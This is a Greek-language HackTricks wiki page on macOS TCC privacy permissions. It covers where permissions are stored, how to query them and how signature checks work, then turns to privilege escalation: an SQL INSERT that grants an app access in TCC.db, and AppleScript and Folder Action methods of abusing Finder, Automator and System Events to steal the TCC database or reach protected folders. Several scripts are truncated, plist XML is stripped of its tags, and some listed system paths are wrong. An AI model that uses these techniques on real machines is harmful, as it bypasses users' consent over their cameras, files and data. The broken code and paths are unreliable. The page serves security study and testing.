# macOS TCC
{{#include ../../../../banners/hacktricks-training.md}}
## **Βασικές Πληροφορίες**
**TCC (Διαφάνεια, Συναίνεση και Έλεγχος)** είναι ένα πρωτόκολλο ασφαλείας που επικεντρώνεται στη ρύθμιση των δικαιωμάτων εφαρμογών. Ο κύριος ρόλος του είναι να προστατεύει ευαίσθητες δυνατότητες όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρης πρόσβαση σε δίσκο**. Απαιτώντας ρητή συναίνεση από τον χρήστη πριν από την παροχή πρόσβασης στην εφαρμογή σε αυτά τα στοιχεία, το TCC ενισχύει την ιδιωτικότητα και τον έλεγχο του χρήστη πάνω στα δεδομένα του.
Οι χρήστες συναντούν το TCC όταν οι εφαρμογές ζητούν πρόσβαση σε προστατευμένες δυνατότητες. Αυτό είναι ορατό μέσω μιας προτροπής που επιτρέπει στους χρήστες να **εγκρίνουν ή να απορρίψουν την πρόσβαση**. Επιπλέον, το TCC διευκολύνει άμεσες ενέργειες του χρήστη, όπως **σύρσιμο και απόθεση αρχείων σε μια εφαρμογή**, για να παραχωρήσει πρόσβαση σε συγκεκριμένα αρχεία, διασφαλίζοντας ότι οι εφαρμογές έχουν πρόσβαση μόνο σε ό,τι έχει ρητά επιτραπεί.

**TCC** διαχειρίζεται από τον **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` και ρυθμίζεται στο `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (καταχωρώντας την υπηρεσία mach `com.apple.tccd.system`).
Υπάρχει μια **tccd σε λειτουργία χρήστη** που εκτελείται ανά χρήστη που έχει συνδεθεί, καθορισμένη στο `/System/Library/LaunchAgents/com.apple.tccd.plist`, καταχωρώντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`.
Εδώ μπορείτε να δείτε την tccd να εκτελείται ως σύστημα και ως χρήστης:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
Οι **άδειες** είναι **κληρονομημένες από την γονική** εφαρμογή και οι **άδειες** παρακολουθούνται με βάση το **Bundle ID** και το **Developer ID**.
### Βάσεις Δεδομένων TCC
Οι επιτρεπόμενες/απαγορευμένες ενέργειες αποθηκεύονται σε ορισμένες βάσεις δεδομένων TCC:
- Η βάση δεδομένων σε επίπεδο συστήματος βρίσκεται στο **`/Library/Application Support/com.apple.TCC/TCC.db`**.
- Αυτή η βάση δεδομένων είναι **προστατευμένη από SIP**, οπότε μόνο μια παράκαμψη SIP μπορεί να γράψει σε αυτήν.
- Η βάση δεδομένων TCC του χρήστη **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** για προτιμήσεις ανά χρήστη.
- Αυτή η βάση δεδομένων είναι προστατευμένη, οπότε μόνο διαδικασίες με υψηλά δικαιώματα TCC όπως η Πρόσβαση σε Όλο τον Δίσκο μπορούν να γράψουν σε αυτήν (αλλά δεν προστατεύεται από SIP).
> [!WARNING]
> Οι προηγούμενες βάσεις δεδομένων είναι επίσης **προστατευμένες από TCC για πρόσβαση ανάγνωσης**. Έτσι, **δεν θα μπορείτε να διαβάσετε** τη βάση δεδομένων TCC του κανονικού σας χρήστη εκτός αν είναι από μια διαδικασία με δικαιώματα TCC.
>
> Ωστόσο, θυμηθείτε ότι μια διαδικασία με αυτά τα υψηλά δικαιώματα (όπως **FDA** ή **`kTCCServiceEndpointSecurityClient`**) θα μπορεί να γράψει στη βάση δεδομένων TCC των χρηστών.
- Υπάρχει μια **τρίτη** βάση δεδομένων TCC στο **`/var/db/locationd/clients.plist`** για να υποδείξει τους πελάτες που επιτρέπεται να **προσεγγίζουν τις υπηρεσίες τοποθεσίας**.
- Το αρχείο που προστατεύεται από SIP **`/Users/carlospolop/Downloads/REG.db`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει την **τοποθεσία** όλων των **έγκυρων βάσεων δεδομένων TCC**.
- Το αρχείο που προστατεύεται από SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει περισσότερες άδειες που έχουν παραχωρηθεί από TCC.
- Το αρχείο που προστατεύεται από SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (αλλά αναγνώσιμο από οποιονδήποτε) είναι μια λίστα επιτρεπόμενων εφαρμογών που απαιτούν εξαίρεση TCC.
> [!TIP]
> Η βάση δεδομένων TCC στο **iOS** βρίσκεται στο **`/private/var/mobile/Library/TCC/TCC.db`**.
> [!TIP]
> Η **διεπαφή του κέντρου ειδοποιήσεων** μπορεί να κάνει **αλλαγές στη βάση δεδομένων TCC του συστήματος**:
>
> ```bash
> codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
> [..]
> com.apple.private.tcc.manager
> com.apple.rootless.storage.TCC
> ```
>
> Ωστόσο, οι χρήστες μπορούν να **διαγράψουν ή να ερωτήσουν κανόνες** με το εργαλείο γραμμής εντολών **`tccutil`**.
#### Ερώτηση στις βάσεις δεδομένων
{{#tabs}}
{{#tab name="user DB"}}
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
{{#endtab}}
{{#tab name="system DB"}}
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Get all FDA
sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
{{#endtab}}
{{#endtabs}}
> [!TIP]
> Ελέγχοντας και τις δύο βάσεις δεδομένων μπορείτε να ελέγξετε τις άδειες που έχει επιτρέψει μια εφαρμογή, έχει απαγορεύσει ή δεν έχει (θα ζητήσει την άδεια).
- Η **`service`** είναι η συμβολοσειρά αναπαράστασης της **άδειας** TCC
- Ο **`client`** είναι το **bundle ID** ή η **διαδρομή προς το δυαδικό** με τις άδειες
- Ο **`client_type`** υποδεικνύει αν είναι Αναγνωριστικό Bundle(0) ή απόλυτη διαδρομή(1)
Πώς να εκτελέσετε αν είναι απόλυτη διαδρομή
Απλά κάντε **`launctl load you_bin.plist`**, με ένα plist όπως:
```xml
Labelcom.example.yourbinaryProgram/path/to/binaryProgramArgumentsarg1arg2RunAtLoadKeepAliveStandardOutPath/tmp/YourBinary.stdoutStandardErrorPath/tmp/YourBinary.stderr
```
- Η **`auth_value`** μπορεί να έχει διαφορετικές τιμές: denied(0), unknown(1), allowed(2) ή limited(3).
- Η **`auth_reason`** μπορεί να πάρει τις εξής τιμές: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- Το πεδίο **csreq** είναι εκεί για να υποδείξει πώς να επαληθεύσετε το δυαδικό αρχείο προς εκτέλεση και να παραχωρήσετε τα δικαιώματα TCC:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin
# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
- Για περισσότερες πληροφορίες σχετικά με τα **άλλα πεδία** του πίνακα [**ελέγξτε αυτήν την ανάρτηση στο blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
Μπορείτε επίσης να ελέγξετε **τις ήδη παραχωρηθείσες άδειες** σε εφαρμογές στο `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
> [!TIP]
> Οι χρήστες _μπορούν_ να **διαγράψουν ή να ερωτήσουν κανόνες** χρησιμοποιώντας **`tccutil`**.
#### Επαναφορά αδειών TCC
```bash
# You can reset all the permissions given to an application with
tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset All
```
### TCC Έλεγχοι Υπογραφής
Η βάση δεδομένων TCC **αποθηκεύει** το **Bundle ID** της εφαρμογής, αλλά επίσης **αποθηκεύει** **πληροφορίες** σχετικά με την **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητά να χρησιμοποιήσει μια άδεια είναι η σωστή.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq
# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
```
> [!WARNING]
> Επομένως, άλλες εφαρμογές που χρησιμοποιούν το ίδιο όνομα και ID πακέτου δεν θα μπορούν να έχουν πρόσβαση στις παραχωρηθείσες άδειες που έχουν δοθεί σε άλλες εφαρμογές.
### Δικαιώματα & Άδειες TCC
Οι εφαρμογές **δεν χρειάζεται μόνο** να **ζητούν** και να έχουν **παραχωρηθεί πρόσβαση** σε ορισμένους πόρους, αλλά πρέπει επίσης να **έχουν τα σχετικά δικαιώματα**.\
Για παράδειγμα, το **Telegram** έχει το δικαίωμα `com.apple.security.device.camera` για να ζητήσει **πρόσβαση στην κάμερα**. Μια **εφαρμογή** που **δεν έχει** αυτό το **δικαίωμα δεν θα μπορεί** να έχει πρόσβαση στην κάμερα (και ο χρήστης δεν θα ρωτηθεί καν για τις άδειες).
Ωστόσο, για να **έχουν πρόσβαση** οι εφαρμογές σε **ορισμένους φακέλους χρηστών**, όπως `~/Desktop`, `~/Downloads` και `~/Documents`, **δεν χρειάζεται** να έχουν κανένα συγκεκριμένο **δικαίωμα.** Το σύστημα θα διαχειριστεί διαφανώς την πρόσβαση και θα **ζητήσει από τον χρήστη** όπως απαιτείται.
Οι εφαρμογές της Apple **δεν θα δημιουργήσουν προτροπές**. Περιέχουν **προπαραχωρημένα δικαιώματα** στη λίστα **δικαιωμάτων** τους, που σημαίνει ότι **ποτέ δεν θα δημιουργήσουν αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε καμία από τις **βάσεις δεδομένων TCC.** Για παράδειγμα:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
com.apple.private.tcc.allowkTCCServiceReminderskTCCServiceCalendarkTCCServiceAddressBook
```
Αυτό θα αποτρέψει το Calendar να ζητήσει από τον χρήστη να έχει πρόσβαση σε υπενθυμίσεις, ημερολόγιο και το βιβλίο διευθύνσεων.
> [!TIP]
> Εκτός από κάποια επίσημη τεκμηρίωση σχετικά με τα δικαιώματα, είναι επίσης δυνατό να βρείτε ανεπίσημες **ενδιαφέρουσες πληροφορίες σχετικά με τα δικαιώματα σε** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
Ορισμένες άδειες TCC είναι: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Δεν υπάρχει δημόσια λίστα που να ορίζει όλες αυτές, αλλά μπορείτε να ελέγξετε αυτή τη [**λίστα με τις γνωστές**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
### Ευαίσθητα μη προστατευμένα μέρη
- $HOME (αυτό καθαυτό)
- $HOME/.ssh, $HOME/.aws, κ.λπ.
- /tmp
### Πρόθεση Χρήστη / com.apple.macl
Όπως αναφέρθηκε προηγουμένως, είναι δυνατό να **παραχωρήσετε πρόσβαση σε μια εφαρμογή σε ένα αρχείο σύροντας και αποθέτοντας το σε αυτήν**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **εκτεταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
```bash
xattr Desktop/private.txt
com.apple.macl
# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3
# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
> [!TIP]
> Είναι περίεργο ότι το **`com.apple.macl`** χαρακτηριστικό διαχειρίζεται από το **Sandbox**, όχι το tccd.
>
> Επίσης, σημειώστε ότι αν μεταφέρετε ένα αρχείο που επιτρέπει το UUID μιας εφαρμογής στον υπολογιστή σας σε διαφορετικό υπολογιστή, επειδή η ίδια εφαρμογή θα έχει διαφορετικά UIDs, δεν θα παραχωρήσει πρόσβαση σε αυτή την εφαρμογή.
Το εκτεταμένο χαρακτηριστικό `com.apple.macl` **δεν μπορεί να διαγραφεί** όπως άλλα εκτεταμένα χαρακτηριστικά επειδή είναι **προστατευμένο από το SIP**. Ωστόσο, όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), είναι δυνατόν να το απενεργοποιήσετε **συμπιέζοντας** το αρχείο, **διαγράφοντας** το και **αποσυμπιέζοντας** το.
## TCC Privesc & Bypasses
### Εισαγωγή στο TCC
Αν σε κάποιο σημείο καταφέρετε να αποκτήσετε δικαιώματα εγγραφής σε μια βάση δεδομένων TCC, μπορείτε να χρησιμοποιήσετε κάτι σαν το παρακάτω για να προσθέσετε μια καταχώρηση (αφαιρέστε τα σχόλια):
Παράδειγμα εισαγωγής στο TCC
```sql
INSERT INTO access (
service,
client,
client_type,
auth_value,
auth_reason,
auth_version,
csreq,
policy_id,
indirect_object_identifier_type,
indirect_object_identifier,
indirect_object_code_identity,
flags,
last_modified,
pid,
pid_version,
boot_uuid,
last_reminded
) VALUES (
'kTCCServiceSystemPolicyDesktopFolder', -- service
'com.googlecode.iterm2', -- client
0, -- client_type (0 - bundle id)
2, -- auth_value (2 - allowed)
3, -- auth_reason (3 - "User Set")
1, -- auth_version (always 1)
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
NULL, -- policy_id
NULL, -- indirect_object_identifier_type
'UNUSED', -- indirect_object_identifier - default value
NULL, -- indirect_object_code_identity
0, -- flags
strftime('%s', 'now'), -- last_modified with default current timestamp
NULL, -- assuming pid is an integer and optional
NULL, -- assuming pid_version is an integer and optional
'UNUSED', -- default value for boot_uuid
strftime('%s', 'now') -- last_reminded with default current timestamp
);
```
### TCC Payloads
Αν καταφέρατε να μπείτε σε μια εφαρμογή με κάποιες άδειες TCC, ελέγξτε την παρακάτω σελίδα με TCC payloads για να τις εκμεταλλευτείτε:
{{#ref}}
macos-tcc-payloads.md
{{#endref}}
### Apple Events
Μάθετε για τα Apple Events στο:
{{#ref}}
macos-apple-events.md
{{#endref}}
### Automation (Finder) to FDA\*
Το όνομα TCC της άδειας Automation είναι: **`kTCCServiceAppleEvents`**\
Αυτή η συγκεκριμένη άδεια TCC υποδεικνύει επίσης την **εφαρμογή που μπορεί να διαχειριστεί** μέσα στη βάση δεδομένων TCC (έτσι οι άδειες δεν επιτρέπουν απλώς τη διαχείριση όλων).
**Finder** είναι μια εφαρμογή που **έχει πάντα FDA** (ακόμα και αν δεν εμφανίζεται στο UI), οπότε αν έχετε **άδειες Automation** πάνω της, μπορείτε να εκμεταλλευτείτε τις άδειές της για να **την κάνετε να εκτελέσει κάποιες ενέργειες**.\
Σε αυτή την περίπτωση, η εφαρμογή σας θα χρειαστεί την άδεια **`kTCCServiceAppleEvents`** πάνω σε **`com.apple.Finder`**.
{{#tabs}}
{{#tab name="Steal users TCC.db"}}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript< [!WARNING]
> Με αυτή την άδεια θα μπορείτε να **ζητήσετε από τον Finder να αποκτήσει πρόσβαση σε περιορισμένους φακέλους TCC** και να σας δώσει τα αρχεία, αλλά όσο γνωρίζω δεν θα **μπορείτε να κάνετε τον Finder να εκτελεί αυθαίρετο κώδικα** για να εκμεταλλευτείτε πλήρως την πρόσβαση FDA του.
>
> Επομένως, δεν θα μπορείτε να εκμεταλλευτείτε τις πλήρεις δυνατότητες της FDA.
Αυτή είναι η προτροπή TCC για να αποκτήσετε δικαιώματα Αυτοματοποίησης πάνω στον Finder:
> [!CAUTION]
> Σημειώστε ότι επειδή η εφαρμογή **Automator** έχει την άδεια TCC **`kTCCServiceAppleEvents`**, μπορεί να **ελέγξει οποιαδήποτε εφαρμογή**, όπως τον Finder. Έτσι, έχοντας την άδεια να ελέγξετε τον Automator, θα μπορούσατε επίσης να ελέγξετε τον **Finder** με έναν κώδικα όπως ο παρακάτω:
Αποκτήστε ένα shell μέσα στον Automator
```applescript
osascript<
Το ίδιο συμβαίνει με την **εφαρμογή Script Editor,** μπορεί να ελέγξει το Finder, αλλά χρησιμοποιώντας ένα AppleScript δεν μπορείτε να το αναγκάσετε να εκτελέσει ένα σενάριο.
### Αυτοματοποίηση (SE) σε κάποια TCC
**Τα System Events μπορούν να δημιουργήσουν Folder Actions, και οι Folder actions μπορούν να έχουν πρόσβαση σε ορισμένους φακέλους TCC** (Desktop, Documents & Downloads), οπότε ένα σενάριο όπως το παρακάτω μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί αυτή τη συμπεριφορά:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <ServicesSystemPolicyAllFilesCodeRequirementidentifier "com.apple.Terminal" and anchor appleIdentifierTypebundleIDIdentifiercom.apple.Terminal
```
### TCC Bypasses
{{#ref}}
macos-tcc-bypasses/
{{#endref}}
## Αναφορές
- [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
- [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
- [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
- [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
{{#include ../../../../banners/hacktricks-training.md}}